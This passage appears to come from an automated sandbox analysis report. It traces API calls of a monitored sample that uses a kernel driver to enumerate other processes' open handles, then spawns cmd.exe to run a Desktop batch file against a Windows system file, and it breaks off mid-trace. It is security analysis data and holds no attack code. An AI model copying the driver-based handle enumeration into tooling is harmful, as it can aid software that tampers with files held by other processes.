lpOverlapped=0x0) returned 1 [0075.968] PsLookupProcessByProcessId (in: ProcessId=0x6e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.968] PsAcquireProcessExitSynchronization () returned 0x0 [0075.968] KeStackAttachProcess (in: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0) [0075.968] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0075.968] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.968] PsReleaseProcessExitSynchronization () returned 0x2 [0075.968] ObfDereferenceObject (Object=0xfffffa8003648060) returned 0x1f [0075.968] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.968] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xc [0075.968] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.968] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.968] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x88c) returned 0x0 [0075.968] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.968] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.968] PsLookupProcessByProcessId (in: ProcessId=0x88c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.968] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.968] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.968] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.968] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.968] PsLookupProcessByProcessId (in: ProcessId=0x88c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.968] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.968] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.968] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.968] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.968] PsLookupProcessByProcessId (in: ProcessId=0x88c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.969] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.969] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.969] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x6c8) returned 0xc0 [0075.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.969] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800395a060, HandleInformation=0x0) returned 0x0 [0075.969] ObOpenObjectByPointer (in: Object=0xfffffa800395a060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.969] ObfDereferenceObject (Object=0xfffffa800395a060) returned 0x23 [0075.969] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800396ee40 | out: TokenHandle=0xfffffa800396ee40*=0xc8) returned 0x0 [0075.969] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.969] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.969] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.969] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.970] CloseHandle (hObject=0xc8) returned 1 [0075.970] CloseHandle (hObject=0xc0) returned 1 [0075.970] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.971] PsLookupProcessByProcessId (in: ProcessId=0x6c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.971] PsAcquireProcessExitSynchronization () returned 0x0 [0075.971] KeStackAttachProcess (in: PROCESS=0xfffffa800395a060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800395a060, ApcState=0xfffff880054f85d0) [0075.971] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001ede090, HandleInformation=0x0) returned 0x0 [0075.971] ObfDereferenceObject (Object=0xfffffa8001ede090) returned 0x5 [0075.971] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.971] PsReleaseProcessExitSynchronization () returned 0x2 [0075.971] ObfDereferenceObject (Object=0xfffffa800395a060) returned 0x21 [0075.971] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.971] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.971] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.971] PsLookupProcessByProcessId (in: ProcessId=0x6c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.971] PsAcquireProcessExitSynchronization () returned 0x0 [0075.971] KeStackAttachProcess (in: PROCESS=0xfffffa800395a060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800395a060, ApcState=0xfffff880054f85d0) [0075.971] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030987b0, HandleInformation=0x0) returned 0x0 [0075.971] ObfDereferenceObject (Object=0xfffffa80030987b0) returned 0x4ee [0075.971] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.971] PsReleaseProcessExitSynchronization () returned 0x2 [0075.971] ObfDereferenceObject (Object=0xfffffa800395a060) returned 0x21 [0075.971] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.971] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.971] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.971] PsLookupProcessByProcessId (in: ProcessId=0x6c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.971] PsAcquireProcessExitSynchronization () returned 0x0 [0075.971] KeStackAttachProcess (in: PROCESS=0xfffffa800395a060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800395a060, ApcState=0xfffff880054f85d0) [0075.971] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a003ef89c0, HandleInformation=0x0) returned 0x0 [0075.971] ObfDereferenceObject (Object=0xfffff8a003ef89c0) returned 0x1 [0075.971] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.972] PsReleaseProcessExitSynchronization () returned 0x2 [0075.972] ObfDereferenceObject (Object=0xfffffa800395a060) returned 0x21 [0075.972] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.972] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.972] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.972] PsLookupProcessByProcessId (in: ProcessId=0x6c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.972] PsAcquireProcessExitSynchronization () returned 0x0 [0075.972] KeStackAttachProcess (in: PROCESS=0xfffffa800395a060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800395a060, ApcState=0xfffff880054f85d0) [0075.972] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a003e80d40, HandleInformation=0x0) returned 0x0 [0075.972] ObfDereferenceObject (Object=0xfffff8a003e80d40) returned 0x1 [0075.972] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.972] PsReleaseProcessExitSynchronization () returned 0x2 [0075.972] ObfDereferenceObject (Object=0xfffffa800395a060) returned 0x21 [0075.972] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.972] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.972] GetVersion () returned 0x1db10106 [0075.972] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0075.972] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4, lpConsoleScreenBufferInfo=0x12fec0 | out: lpConsoleScreenBufferInfo=0x12fec0) returned 0 [0075.979] WriteFile (in: hFile=0x4, lpBuffer=0x12e900*, nNumberOfBytesToWrite=0x20e, lpNumberOfBytesWritten=0x12e220, lpOverlapped=0x0 | out: lpBuffer=0x12e900*, lpNumberOfBytesWritten=0x12e220*=0x20e, lpOverlapped=0x0) returned 1 [0075.981] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x170080 | out: hHeap=0x150000) returned 1 [0075.981] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12feb8 | out: phModule=0x12feb8) returned 0 [0075.981] RtlExitUserProcess (ExitCode=0x0) [0075.982] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16f050 | out: hHeap=0x150000) returned 1 [0075.997] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) Thread: id = 114 os_tid = 0x7e0 Process: id = "24" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x28c33000" os_pid = "0x594" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 111 os_tid = 0x454 [0061.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26fe94 | out: lpSystemTimeAsFileTime=0x26fe94*(dwLowDateTime=0xcbd4a840, dwHighDateTime=0x1d5d06a)) [0061.805] GetCurrentProcessId () returned 0x594 [0061.805] GetCurrentThreadId () returned 0x454 [0061.805] GetTickCount () returned 0x1158d90 [0061.805] QueryPerformanceCounter (in: lpPerformanceCount=0x26fe8c | out: lpPerformanceCount=0x26fe8c*=20375765995) returned 1 [0061.806] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0061.806] __set_app_type (_Type=0x1) [0061.806] __p__fmode () returned 0x76be31f4 [0061.806] __p__commode () returned 0x76be31fc [0061.806] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0061.806] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0061.807] GetCurrentThreadId () returned 0x454 [0061.807] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x454) returned 0x60 [0061.807] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0061.807] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0061.807] SetThreadUILanguage (LangId=0x0) returned 0x409 [0063.040] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0063.040] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x26fe24 | out: phkResult=0x26fe24*=0x0) returned 0x2 [0063.041] VirtualQuery (in: lpAddress=0x26fe5b, lpBuffer=0x26fdf4, dwLength=0x1c | out: lpBuffer=0x26fdf4*(BaseAddress=0x26f000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0063.041] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x26fdf4, dwLength=0x1c | out: lpBuffer=0x26fdf4*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0063.041] VirtualQuery (in: lpAddress=0x171000, lpBuffer=0x26fdf4, dwLength=0x1c | out: lpBuffer=0x26fdf4*(BaseAddress=0x171000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0063.041] VirtualQuery (in: lpAddress=0x173000, lpBuffer=0x26fdf4, dwLength=0x1c | out: lpBuffer=0x26fdf4*(BaseAddress=0x173000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0063.041] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x26fdf4, dwLength=0x1c | out: lpBuffer=0x26fdf4*(BaseAddress=0x270000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0063.041] GetConsoleOutputCP () returned 0x1b5 [0063.041] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0063.041] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0063.041] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.041] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0063.041] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.041] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0063.042] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.042] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0063.042] _get_osfhandle (_FileHandle=0) returned 0x3 [0063.042] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0063.042] _get_osfhandle (_FileHandle=0) returned 0x3 [0063.042] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0063.043] GetEnvironmentStringsW () returned 0x544070* [0063.043] GetProcessHeap () returned 0x530000 [0063.043] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xaca) returned 0x544b48 [0063.043] FreeEnvironmentStringsW (penv=0x544070) returned 1 [0063.043] GetProcessHeap () returned 0x530000 [0063.043] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x4) returned 0x540d28 [0063.043] GetEnvironmentStringsW () returned 0x544070* [0063.043] GetProcessHeap () returned 0x530000 [0063.043] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xaca) returned 0x545620 [0063.043] FreeEnvironmentStringsW (penv=0x544070) returned 1 [0063.043] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26ed94 | out: phkResult=0x26ed94*=0x68) returned 0x0 [0063.043] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x0, lpData=0x26eda0*=0x0, lpcbData=0x26ed98*=0x1000) returned 0x2 [0063.043] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x4, lpData=0x26eda0*=0x1, lpcbData=0x26ed98*=0x4) returned 0x0 [0063.043] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x0, lpData=0x26eda0*=0x1, lpcbData=0x26ed98*=0x1000) returned 0x2 [0063.044] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x4, lpData=0x26eda0*=0x0, lpcbData=0x26ed98*=0x4) returned 0x0 [0063.044] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x4, lpData=0x26eda0*=0x40, lpcbData=0x26ed98*=0x4) returned 0x0 [0063.044] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x4, lpData=0x26eda0*=0x40, lpcbData=0x26ed98*=0x4) returned 0x0 [0063.044] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x0, lpData=0x26eda0*=0x40, lpcbData=0x26ed98*=0x1000) returned 0x2 [0063.044] RegCloseKey (hKey=0x68) returned 0x0 [0063.044] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26ed94 | out: phkResult=0x26ed94*=0x68) returned 0x0 [0063.044] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x0, lpData=0x26eda0*=0x40, lpcbData=0x26ed98*=0x1000) returned 0x2 [0063.044] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x4, lpData=0x26eda0*=0x1, lpcbData=0x26ed98*=0x4) returned 0x0 [0063.044] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x0, lpData=0x26eda0*=0x1, lpcbData=0x26ed98*=0x1000) returned 0x2 [0063.044] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x4, lpData=0x26eda0*=0x0, lpcbData=0x26ed98*=0x4) returned 0x0 [0063.044] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x4, lpData=0x26eda0*=0x9, lpcbData=0x26ed98*=0x4) returned 0x0 [0063.044] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x4, lpData=0x26eda0*=0x9, lpcbData=0x26ed98*=0x4) returned 0x0 [0063.044] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26ed9c, lpData=0x26eda0, lpcbData=0x26ed98*=0x1000 | out: lpType=0x26ed9c*=0x0, lpData=0x26eda0*=0x9, lpcbData=0x26ed98*=0x1000) returned 0x2 [0063.044] RegCloseKey (hKey=0x68) returned 0x0 [0063.044] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710d6 [0063.044] srand (_Seed=0x5e2710d6) [0063.044] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\"\"" [0063.044] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\"\"" [0063.045] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0063.045] GetProcessHeap () returned 0x530000 [0063.045] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x210) returned 0x544070 [0063.045] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x544078, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0063.045] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0063.045] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0063.045] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0063.045] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0063.045] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0063.045] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0063.045] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0063.045] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0063.045] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0063.045] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0063.045] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0063.045] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0063.045] GetProcessHeap () returned 0x530000 [0063.045] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544b48 | out: hHeap=0x530000) returned 1 [0063.046] GetEnvironmentStringsW () returned 0x544288* [0063.046] GetProcessHeap () returned 0x530000 [0063.046] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xae2) returned 0x546be8 [0063.046] FreeEnvironmentStringsW (penv=0x544288) returned 1 [0063.046] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0063.046] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0063.046] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0063.046] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0063.046] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0063.046] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0063.046] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0063.046] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0063.046] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0063.046] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0063.046] GetProcessHeap () returned 0x530000 [0063.046] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x54) returned 0x5476d8 [0063.046] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x26fb60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0063.046] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x26fb60, lpFilePart=0x26fb5c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 